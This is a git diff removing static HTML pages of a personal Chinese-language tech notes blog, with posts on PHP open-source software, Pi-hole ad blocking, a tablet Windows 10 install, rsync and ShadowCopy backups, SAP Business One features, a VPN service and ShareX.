    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-php-opensource-systems/index.html b/themes/public/article/e7-ad-86-e8-a8-98-php-opensource-systems/index.html deleted file mode 100644 index 13b748d0..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-php-opensource-systems/index.html +++ /dev/null @@ -1,579 +0,0 @@ - - - - - - - - - - [筆記] PHP Opensource Systems | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] PHP Opensource Systems

    -
    - - - 2016-05-25 - - - - - - - - - 工作筆記 - - - - - -
    - - -
    -
    -
    -
    -
    論壇類
    -
    -
    -
    PmWiki 2.2.83
    -
    FluxBB 1.5.9
    -
    Vanilla Forums 2.2
    -
    phpMyChat 1.94-RC5
    -
    Booked 2.5.19
    -
    Simple Machines Forum 2.0.11
    -
    phpFreeChat 1.7
    -
    MyBB 1.8.6
    -
    WebCalendar 1.2.7
    -
    MediaWiki 1.26.2
    -
    Elgg 1.12.8
    -
    Pligg 2.0.2
    -
    Lazarus Guestbook 1.24
    -
    WikkaWiki 1.3.6
    -
    phpBB 3.1.8
    -
    ExtCalendar 2.0b2
    -
    -
    -
    -
    -
    -
    -
    -
    -
    -
    内容管理
    -
    -
    -
    PyroCMS 2.2.5
    -
    MODx 2.4.3-pl
    -
    Zend Framework 2.5.2
    -
    b2evolution 6.6.7
    -
    Serendipity 2.0.3
    -
    Laravel 5.1.11
    -
    Soholaunch 4.9.4r25
    -
    Symfony 2.7.7
    -
    Moodle 2.6.3
    -
    Nucleus CMS 3.65
    -
    ImpressPages 4.6.4
    -
    Nette 2.3.4
    -
    Joomla 3.4.8
    -
    Drupal 8.0.4
    -
    liveSite 9.1.0
    -
    Code Igniter 3.0.0
    -
    CMS Made Simple 1.12.1
    -
    PHP-Nuke 8.3.2
    -
    LifeType 1.2.12
    -
    e107 1.0.4
    -
    Subrion 4.0.5
    -
    GetSimple 3.3.5
    -
    Dotclear 2.9
    -
    WebsiteBaker 2.8.3.1640
    -
    PivotX 2.3.11
    -
    SilverStripe 3.2.1
    -
    Smarty 3.1.27
    -
    eFront 3.6.15.18023
    -
    TYPO3 6.2.18
    -
    WordPress 4.4.2
    -
    concrete5 5.7.5.6
    -
    PHP-Fusion 7.02.06
    -
    Xoops 2.5.7.1
    -
    Chamilo 1.10.2
    -
    Tiki Wiki CMS Groupware 14.2
    -
    Omeka 2.3.1
    -
    CakePHP 3.0.12
    -
    Geeklog 2.1.1
    -
    Zikula 1.3.9
    -
    phpMyFAQ 2.8.25
    -
    -
    -
    -
    -
    -
    -
    -
    -
    -
    照片和文件
    -
    -
    -
    Coppermine 1.5.40
    -
    ProjectSend r582
    -
    Codiad 2.5.4
    -
    Power File Manager 1.0.1c
    -
    Gallery 3.0.9
    -
    GateQuest File Manager 0.2.6
    -
    Koken 0.21.9
    -
    TinyWebGallery 2.3.3
    -
    Pydio 6.2.2
    -
    Piwigo 2.7.4
    -
    Zenphoto 1.4.11
    -
    -
    -
    -
    -
    -
    -
    -
    -
    Miscellaneous
    -
    -
    -
    Wallabag 1.9.0
    -
    YOURLS 1.7.1
    -
    webtrees 1.7.2
    -
    Tiny Tiny RSS 1.15.3
    -
    Form Tools 2.2.6
    -
    Search Engine Project 1.2
    -
    selfoss 2.14
    -
    -
    -
    -
    -
    -
    -
    -
    -
    -
    电子商务及企业
    -
    -
    -
    Open Classifieds 2.6.1
    -
    Revive Adserver 3.0.5
    -
    HESK 2.6.6
    -
    SugarCRM 6.5.22
    -
    OSClass 3.6.1
    -
    Feng Office 3.4.0.17
    -
    SuiteCRM 7.2.2
    -
    Open Real Estate 1.15.4
    -
    Zen Cart 1.5.4
    -
    osTicket 1.9.12
    -
    Blesta 3.6.1
    -
    Mantis 1.2.19
    -
    Group Office 6.1.73
    -
    Dolibarr 3.8.3
    -
    WeBid 1.1.2
    -
    OpenCart 2.1.0.2
    -
    OpenBiblio 0.7.2
    -
    PHProjekt 6.2.1
    -
    FrontAccounting 2.3.24
    -
    The Bug Genie 4.1.0
    -
    TomatoCart 1.1.8.6.1
    -
    OrangeHRM 3.3.1
    -
    Quicksell Classifieds 4.5.0
    -
    PrestaShop 1.6.1.4
    -
    Simple Invoices 2011.1
    -
    Crafty Syntax Live Help 3.5.2
    -
    BoxBilling 3.6.11
    -
    Collabtive 2.1.1
    -
    Zurmo 3.1.1
    -
    Vtiger 6.3.0
    -
    osCommerce 2.3.4
    -
    Live Helper Chat 2.44
    -
    CubeCart 6.0.10
    -
    AbanteCart 1.2.5
    -
    -
    -
    -
    -
    -
    -
    -
    -
    -
    统计和调查
    -
    -
    -
    Seo Panel 3.8.0
    -
    Piwik 2.16
    -
    Advanced Poll 2.0.9
    -
    LimeSurvey 2.50+.160219
    -
    Aardvark Topsites 5.2.1
    -
    -
    -
    -
    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-pihole-e5-88-a9-e7-94-a8-dns-server-e9-98-bb-e7-b5-95-e7-b6-b2-e9-a0-81-e5-bb-a3-e5-91-8a/index.html b/themes/public/article/e7-ad-86-e8-a8-98-pihole-e5-88-a9-e7-94-a8-dns-server-e9-98-bb-e7-b5-95-e7-b6-b2-e9-a0-81-e5-bb-a3-e5-91-8a/index.html deleted file mode 100644 index f04d63b4..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-pihole-e5-88-a9-e7-94-a8-dns-server-e9-98-bb-e7-b5-95-e7-b6-b2-e9-a0-81-e5-bb-a3-e5-91-8a/index.html +++ /dev/null @@ -1,432 +0,0 @@ - - - - - - - - - - [筆記] PIHOLE - 利用 DNS Server 阻絕網頁廣告 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] PIHOLE - 利用 DNS Server 阻絕網頁廣告

    -
    - - - 2016-08-11 - - - - - - - - - 其他 - - - - - -
    - - -

    官網:https://pi-hole.net/

    - -

    簡單說,就是建立一台DNS Server ,上面有一些有組織在維護的域名黑名單

    - -

    當裝置在瀏覽網頁時,需要先透過DNS去反查出IP,如果反查的域名在黑名單中,會自動將域名轉為 127.0.0.1,進而達到阻擋廣告(甚至連載入都不會載入)

    - -

    p.s ADBLOCK之類的套件,是等到廣告載入完了,才去擋掉

    - -

    這種狀況在手機上瀏覽網頁時特別明顯,很容易就受到廣告的干擾!

    - -

    這個概念很不錯!甚至一些透過C&C中繼伺服器運作的病毒,也可以透過這種方式阻擋掉!

    - -

    - -

    簡單測試一下

    - -

    圖一:這是在測試機器上,用Firefox 開啟 www.fhm.com 看到的版面,中間那個劍刃就是廣告

    - -

    2016-08-11_15-19-29

    - -

    圖二:在啟用PI-HOLE DNS 的電腦上,一樣用firefox開啟 www.fhm.com ,畫面是這樣

    - -

    有沒有?中間的廣告不見了! 右上角可以看到有個UD的盾牌圖示變灰色了,因為我把這台的濾廣告插件先停用了

    - -

    2016-08-11_15-19-37

    - -

     

    - -

    不過呢,少個廣告,版面有可能會不太一樣

    - -

    圖三:有廣告的版面

    - -

    2016-08-11_15-19-57

    - -

    圖四:沒廣告的版面

    - -

    2016-08-11_15-20-07

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-pipo-w8-win8-e6-94-b9-win10/index.html b/themes/public/article/e7-ad-86-e8-a8-98-pipo-w8-win8-e6-94-b9-win10/index.html deleted file mode 100644 index 3f631931..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-pipo-w8-win8-e6-94-b9-win10/index.html +++ /dev/null @@ -1,457 +0,0 @@ - - - - - - - - - - [筆記] PIPO W8 Win8 改 Win10 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] PIPO W8 Win8 改 Win10

    -
    - - - 2015-12-08 - - - - - - - - - 未分類 - - - - - -
    - - - - -

    2016/03/07 Update: 最近這台出現了休眠後叫不起來的問題,我記得剛開始升級Win10的時候是不會的呀

    - -

    後來是去下載了一個雙擊關閉螢幕的小軟體,就不要讓電腦進入休眠,只把螢幕關閉,要用的時候再按個鍵盤開啟螢幕這樣..

    - -

    然後看要不要去把系統設定內的電源鍵改成沒有動作,避免不小心按到..

    - -

     

    - -

    PIPO W8 Win8 改 Win10

    - -

    趁著雙11 ,在淘寶敗了一台PIPO W8 CoreM 二合一變形筆電,等了好久終於到貨,難怪大陸同事都說雙11下定,要等到雙12才會收到 XD

    - -

    拿到東西,內建的當然是Win8的簡體中文版。

    - -

    這類大陸出的Win8平板,內建的大概都是簡體中文單一語言版本,雖說可以透過一些方式,去下載繁體語言包,但是用起來總是很彆扭。

    - -

    而且win8感覺就是卡卡的,所以我也沒先查資料,就直接給他升級Win10。

    - -

    升級之後,系統果然變順了!驅動程式的部分,下載驅動精靈來安裝,會有兩個失敗,不過在裝置管理員中沒有看到有驚嘆號的設備,

    - -

    想說這樣應該是正常了吧,沒想到觸控居然不能使用!?

    - -

    那只好改回來啦~不然就失去「變形」的意義了啊,一直接著USB鍵盤滑鼠是能看喔?

    - -

    於是從微軟那邊下載了Win8的安裝工具,做一個ISO出來,再透過卡碟機進行安裝,這過程滿順利的

    - -

    驅動程式的部分,可以從這邊抓  http://techtablets.com/pipo-w8/downloads/

    - -

    重點在於 Pipo W8 TouchSetting Gt Touch Config (1.0 KiB) 還有 OEM SLIC Bios Windows Key Reader (11.2 KiB) 這兩個檔案

    - -

    第一個是觸控面板的設定檔,安裝好Win8之後,要把這個檔案放進windows\inf 底下

    - -

    第二個是可以讀取OEM 的Windows Key (不過後面都沒用到,原因是…. you know ! )

    - -

    就這樣把Win8弄好,該裝的軟體、播放器、解壓縮等等都上去了,但就是覺得卡卡的!用得很不爽!想說再來測試一次Win10 好了!

    - -

    先把系統備份好,然後一樣去微軟下載win10的安裝工具,接著開機選擇卡碟機進行系統安裝(不是從win8內升級喔~)

    - -

    安裝過程一樣也是很順利,而且更神奇的是,還沒裝驅動前,觸控居然沒有問題,可以正常使用!

    - -

    裝完系統,透過驅動精靈把該裝的驅動程式裝一裝,裝置管理員一樣沒有驚嘆號,觸控正常,Win10也不會卡卡的,真的是太棒了!

    - -

    2015-12-08_09-48-26

    - -

     

    - -

    不過有個問題是win10的截圖快捷鍵我一直弄不出來(Windows Key + volume down)

    - -

    最後還是用我習慣的sharex 軟體,設定volume + 的實體鍵作為截圖快捷鍵

    - -

    然後趕緊做個全系統備份起來,這樣一來,Win10的系統整個就差不多了!

    - -

    用CoreM 跑Win10 比起之前用Atom Zxxxx 系列,更順暢了!就是SSD小了點(64G) 當初應該選128G的!

    - -

    等看過保之後能不能自己拆開換吧~~

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-pydio-e7-9a-84-logo-e4-bd-8d-e7-bd-ae/index.html b/themes/public/article/e7-ad-86-e8-a8-98-pydio-e7-9a-84-logo-e4-bd-8d-e7-bd-ae/index.html deleted file mode 100644 index 8855eec0..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-pydio-e7-9a-84-logo-e4-bd-8d-e7-bd-ae/index.html +++ /dev/null @@ -1,401 +0,0 @@ - - - - - - - - - - [筆記] PYDIO 的 LOGO 位置 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] PYDIO 的 LOGO 位置

    -
    - - - 2015-05-12 - - - - - - - - - 未分類 - - - - - -
    - - -

    圖檔: /usr/local/www/pydio/plugins/action.share/res/dl.png

    - -

    public download template : /usr/local/www/pydio/plugins/action.share/res/public_links.php

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-rsync-file-version-control/index.html b/themes/public/article/e7-ad-86-e8-a8-98-rsync-file-version-control/index.html deleted file mode 100644 index 90debfed..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-rsync-file-version-control/index.html +++ /dev/null @@ -1,409 +0,0 @@ - - - - - - - - - - [筆記] rsync with file version control | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] rsync with file version control

    -
    - - - 2016-04-18 - - - - - - - - - 工作筆記 - - - - - -
    - - - - -

    using rsync with  -b (backup) and –suffix parameters to backup file histroy with timestamp

    - -

    if wanna run script in crontab , must add “\” berfore “%” in script

    - -

    chinese folder/file name is OK.

    - -

      -> /usr/local/bin/rsync -avPbu –suffix=.date +\%Y\%m\%d\%H\%M\%S –exclude=“@eaDir” –log-file=“/nas/DB_Backup/rsynclog/總營業處date +\%Y-\%m-\%d.log”  /218/總營業處 /zp -[caption id=“attachment_1651” align=“alignnone” width=“563”]rsync with timestamp result rsync with backup and timestamp result[/caption]

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-s3fs/index.html b/themes/public/article/e7-ad-86-e8-a8-98-s3fs/index.html deleted file mode 100644 index b7f94ab3..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-s3fs/index.html +++ /dev/null @@ -1,408 +0,0 @@ - - - - - - - - - - [筆記] s3fs | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] s3fs

    -
    - - - 2014-05-16 - - - - - - - - - 未分類 - - - - - -
    - - -

    http://code.google.com/p/s3fs/wiki/FuseOverAmazon

    - -

    s3fs -FUSE-based file system backed by Amazon S3

    - -

      -Overview -s3fs is a FUSE filesystem that allows you to mount an Amazon S3 bucket as a local filesystem. It stores files natively and transparently in S3 (i.e., you can use other programs to access the same files). Maximum file size=64GB (limited by s3fs, not Amazon).

    - -

    s3fs is stable and is being used in number of production environments, e.g., rsync backup to s3.

    - -

    Important Note: Your kernel must support FUSE, kernels earlier than 2.6.18-164 may not have FUSE support (see  issue #140 ). Virtual Private Servers (VPS) may not have FUSE support compiled into their kernels.

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-sap-business-one-e4-b8-bb-e8-a6-81-e5-8a-9f-e8-83-bd-e4-b8-ad-e6-96-87-e7-89-88/index.html b/themes/public/article/e7-ad-86-e8-a8-98-sap-business-one-e4-b8-bb-e8-a6-81-e5-8a-9f-e8-83-bd-e4-b8-ad-e6-96-87-e7-89-88/index.html deleted file mode 100644 index fc7de03f..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-sap-business-one-e4-b8-bb-e8-a6-81-e5-8a-9f-e8-83-bd-e4-b8-ad-e6-96-87-e7-89-88/index.html +++ /dev/null @@ -1,476 +0,0 @@ - - - - - - - - - - [筆記] SAP Business One 主要功能-中文版 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] SAP Business One 主要功能-中文版

    -
    - - - 2013-03-13 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    原來有中文版,結果我昨天K英文版在那邊猜來猜去猜老半天…

    - -

    不過真的認真看完之後…..我想我回去啃英文版好了..

    - -

    - -

    會計與財務

    - -
      -
    • 總帳與日記帳
    • -
    • 分錄基本成本會計與監控專案成本
    • -
    • 預算管理
    • -
    • 銀行業務與銀行對帳單處理
    • -
    • 付款處理與調節
    • -
    • 財務報表與報表製作
    • -
    • 銷項稅與加值稅
    • - -
    • 支援多種貨幣 -存貨與配銷

    • - -
    • 項目管理與項目查詢

    • - -
    • 收貨至庫存、自庫存發貨,以及庫存交易

    • - -
    • 多倉庫間庫存調撥

    • - -
    • 序號管理

    • - -
    • 存貨重估

    • - -
    • 客戶與供應商目錄

    • - -
    • 價目表與特殊定價

    • - -
    • 批次管理

    • - -
    • 撿貨和包裝 -銷售和客戶

    • - -
    • 商機與階段管理

    • - -
    • 客戶聯絡與活動管理

    • - -
    • 銷售報價與訂

    • - -
    • 開票與貸記

    • - -
    • 銷售與階段預測

    • - -
    • 服務契約管理

    • - -
    • 客服電話管理輸入與追蹤 -採購與營運

    • - -
    • 採購建議

    • - -
    • 採購單與交貨

    • - -
    • 收貨與退貨

    • - -
    • 應付帳款發票與貸項通知單

    • - -
    • 物料表

    • - -
    • 生產訂單

    • - -
    • 預測與物料需求規劃 -報表製作與管理

    • - -
    • 與 Crystal Reports® 軟體完全整合

    • - -
    • 「拖曳和相關」、下載、搜尋協助、以工作流程為基礎的警示

    • - -
    • 員工目錄與管理、員工時間

    • - -
    • 遠端支援平台

    • - -
    • 資料移轉工作台、資料歸檔

    • - -
    • SAP® Business One 軟體開發套件,包括資料介面、使用者介面、應用程式介面、使用者定義欄位,以及表格

    • -
    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-sap-business-one-e4-b8-bb-e8-a6-81-e5-8a-9f-e8-83-bd/index.html b/themes/public/article/e7-ad-86-e8-a8-98-sap-business-one-e4-b8-bb-e8-a6-81-e5-8a-9f-e8-83-bd/index.html deleted file mode 100644 index 2036c678..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-sap-business-one-e4-b8-bb-e8-a6-81-e5-8a-9f-e8-83-bd/index.html +++ /dev/null @@ -1,487 +0,0 @@ - - - - - - - - - - [筆記] SAP business One 主要功能 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] SAP business One 主要功能

    -
    - - - 2013-03-12 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    SAP® Business One Key Functionality

    - -
      -
    • Accounting and Financials
    • -
    • Sales and Customers
    • -
    • Purchasing and Operations
    • -
    • Inventory and Distribution
    • -
    • Reporting and Administration -光看文字說明其實沒有太大的的「吸引力」,不過業務介紹的時候倒是很吸引我。
    • -
    - -

    尤其是在報表和自訂功能(user define field)的部分,內建Crystal Report !

    - -

    不過這個授權費和顧問費…..就不知道老闆們是不是真的有心想做了。

    - -

    - -

    Accounting and Financials

    - -
      -
    • General ledger and journalentries
    • -
    • Basic cost accounting and monitoring project costs
    • -
    • Basic budget management
    • -
    • Banking and bank statement
    • -
    • processing
    • -
    • Payment processing and reconciliation
    • -
    • Financial statements and reporting
    • -
    • _Sales tax and VAT_
    • - -
    • _Multicurrency support_ -Sales and Customers

    • - -
    • Opportunities and pipeline management

    • - -
    • Customer contact and activity management

    • - -
    • _Sales quotations and orders_

    • - -
    • _Invoicing and crediting_

    • - -
    • _Sales and pipeline forecast_

    • - -
    • _Service contract management_

    • - -
    • _Service call management and tracking_ -Purchasing and Operations

    • - -
    • Purchase orders and deliveries

    • - -
    • Goods receipts and returns

    • - -
    • _AP invoice and credit notes_

    • - -
    • _Bills of materials_

    • - -
    • _Production orders_

    • - -
    • _Forecasting and material requirements planning_ -Inventory and Distribution

    • - -
    • Items management, item queries

    • - -
    • Receipt to stock, release from stock, and stock transactions

    • - -
    • _Stock transfer between multiple warehouses_

    • - -
    • _Serial number management_

    • - -
    • _Inventory revaluation_

    • - -
    • _Customer and vendor catalog_

    • - -
    • _Price lists and special pricing_

    • - -
    • _Batch management_

    • - -
    • _Pick and pack_ -Reporting and Administration

    • - -
    • Fully integrated with Crystal ReportsR software

    • - -
    • “Drag-and-relate,” drill downs, search assistance, workflow-based alerts

    • - -
    • _Employee directory and administration, employee time_

    • - -
    • _Remote support platform_

    • - -
    • _Data migration workbench, data archiving_

    • - -
    • _SAPR Business One Software Development Kit including the data interface application program interface (API) and user interface API, user-defined fields and tables, and solution packager_

    • -
    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-script-to-find-out-user-account-created-today/index.html b/themes/public/article/e7-ad-86-e8-a8-98-script-to-find-out-user-account-created-today/index.html deleted file mode 100644 index 6166770f..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-script-to-find-out-user-account-created-today/index.html +++ /dev/null @@ -1,397 +0,0 @@ - - - - - - - - - - [筆記] script to find out user account created today | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-senvpn-e9-81-a9-e5-90-88-e6-8b-bf-e4-be-86-e8-ae-93-ovo-e9-9b-bb-e8-a6-96-e7-9b-92-e7-9c-8b-e5-a4-a7-e9-99-b8-e5-bd-b1-e9-9f-b3-e5-b9-b3-e5-8f-b0-e5-85-a7-e5-ae-b9-e7-9a-84-vp/index.html b/themes/public/article/e7-ad-86-e8-a8-98-senvpn-e9-81-a9-e5-90-88-e6-8b-bf-e4-be-86-e8-ae-93-ovo-e9-9b-bb-e8-a6-96-e7-9b-92-e7-9c-8b-e5-a4-a7-e9-99-b8-e5-bd-b1-e9-9f-b3-e5-b9-b3-e5-8f-b0-e5-85-a7-e5-ae-b9-e7-9a-84-vp/index.html deleted file mode 100644 index b26f408d..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-senvpn-e9-81-a9-e5-90-88-e6-8b-bf-e4-be-86-e8-ae-93-ovo-e9-9b-bb-e8-a6-96-e7-9b-92-e7-9c-8b-e5-a4-a7-e9-99-b8-e5-bd-b1-e9-9f-b3-e5-b9-b3-e5-8f-b0-e5-85-a7-e5-ae-b9-e7-9a-84-vp/index.html +++ /dev/null @@ -1,412 +0,0 @@ - - - - - - - - - - [筆記] senVPN - 適合拿來讓 ovo 電視盒看大陸影音平台內容的 VPN 業者 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] senVPN - 適合拿來讓 ovo 電視盒看大陸影音平台內容的 VPN 業者

    -
    - - - 2015-10-29 - - - - - - - - - 未分類 - - - - - -
    - - -

    首選: Dyxnet Internet PLUS ,既有大陸當地的LOCAL IP,又有台灣這邊的IP可以建 VPN Tunnel,但是這價位不是一般人付得起 ……

    - -

    今天看到一個senVPN 的服務,價格不貴,又有 300M的試用流量,而且還有中國的伺服器!就順手在iPhone上建立VPN測試看看,開啟愛奇藝、PPTV等視頻軟體,不會出現非中國IP不能觀看的錯誤訊息,用高清畫質看片子也很順,基本沒有出現過「緩衝中」的狀況,而且價格真的不高,4.9/month , 9.993 months , 17.96 month , 29.9/year 有50GB 的流量,比起這幾天看過、測試過的其他VPN算是很優惠的了!

    - -

    要不是先搞定了那個Internet PLUS,我可能就會改用這家的VPN的服務了!

    - -

    2015-10-29_16-16-10

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-shadowcopy-e8-aa-9e-e6-b3-95/index.html b/themes/public/article/e7-ad-86-e8-a8-98-shadowcopy-e8-aa-9e-e6-b3-95/index.html deleted file mode 100644 index 216b1c0c..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-shadowcopy-e8-aa-9e-e6-b3-95/index.html +++ /dev/null @@ -1,397 +0,0 @@ - - - - - - - - - - [筆記] shadowcopy 語法 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] shadowcopy 語法

    -
    - - - 2015-12-21 - - - - - - - - - 未分類 - - - - - -
    - - -

    “C:\Program Files (x86)\Runtime Software\ShadowCopy\shadowcopy.exe” d:\outlook*.* h:\outlook_bak /s /y

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-sharex-e7-9c-9f-e7-9a-84-e6-98-af-e8-b6-85-e7-b4-9a-e5-bc-b7-e5-a4-a7-e3-80-81-e7-84-a1-e6-95-b5-e3-80-81-e7-a5-9e-e5-a5-87-e7-9a-84-e8-9e-a2-e5-b9-95-e6-93-b7-e5-8f-96-e8-bb-9f/index.html b/themes/public/article/e7-ad-86-e8-a8-98-sharex-e7-9c-9f-e7-9a-84-e6-98-af-e8-b6-85-e7-b4-9a-e5-bc-b7-e5-a4-a7-e3-80-81-e7-84-a1-e6-95-b5-e3-80-81-e7-a5-9e-e5-a5-87-e7-9a-84-e8-9e-a2-e5-b9-95-e6-93-b7-e5-8f-96-e8-bb-9f/index.html deleted file mode 100644 index 392a4c75..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-sharex-e7-9c-9f-e7-9a-84-e6-98-af-e8-b6-85-e7-b4-9a-e5-bc-b7-e5-a4-a7-e3-80-81-e7-84-a1-e6-95-b5-e3-80-81-e7-a5-9e-e5-a5-87-e7-9a-84-e8-9e-a2-e5-b9-95-e6-93-b7-e5-8f-96-e8-bb-9f/index.html +++ /dev/null @@ -1,433 +0,0 @@ - - - - - - - - - - [筆記] ShareX 真的是超級強大、無敵、神奇的螢幕擷取軟體!!! | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] ShareX 真的是超級強大、無敵、神奇的螢幕擷取軟體!!!

    -
    - - - 2016-07-21 - - - - - - - - - 工作筆記 - - - - - -
    - - - - -

    ShareX

    - -

    是一套開源(opensource)的螢幕擷取軟體,但是他並不是像一般的screen capture軟體

    - -

    只是讓你按個快速鍵,把畫面複製到暫存區,好讓你能夠在其他軟體中貼上這麼簡單。

    - -

    ShareX 所擁有的功能包羅萬象,簡單列出現在的版本支援哪些功能

    - -

    2016-07-21_17-13-548

    - -

    除了基本的複製、貼上、存檔以外,還可以自動上傳、加入浮水印、圖片特效、編輯圖片,最近甚至連OCR的功能都加進去了!

    - -

    原本沒注意到這個OCR功能,剛剛發現之後,就去測試了一下。

    - -

    先去網站上找了一份產品的使用手冊PDF檔,然後用shareX截圖並進行辨識

    - -

    效果如下

    - -

    2016-07-21_17-08-27

    - -

    可以看到其實效果還不算太差!

    - -

    當然啦,沒辦法期待能夠跟原來的格式長得一樣,畢竟OCR的用意主要是為了抓取圖片裡面的文字,

    - -

    在編輯的時候可以更快速,免去輸入大部分文字的時間。

    - -

    以這次的測試來說,中文字的辨識正確率大概在75-80%之間,雖不滿意,但還可以接受啦~

    - -

    英文的辨識率當然更高,我就懶得測試了!

    - -

    ShareX 真的是我個人認為有史以來最威猛的opensource 螢幕擷取軟體了!

    - -

    在 ShareX 面前,其他螢幕擷取軟體根本沒一個能打的!

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
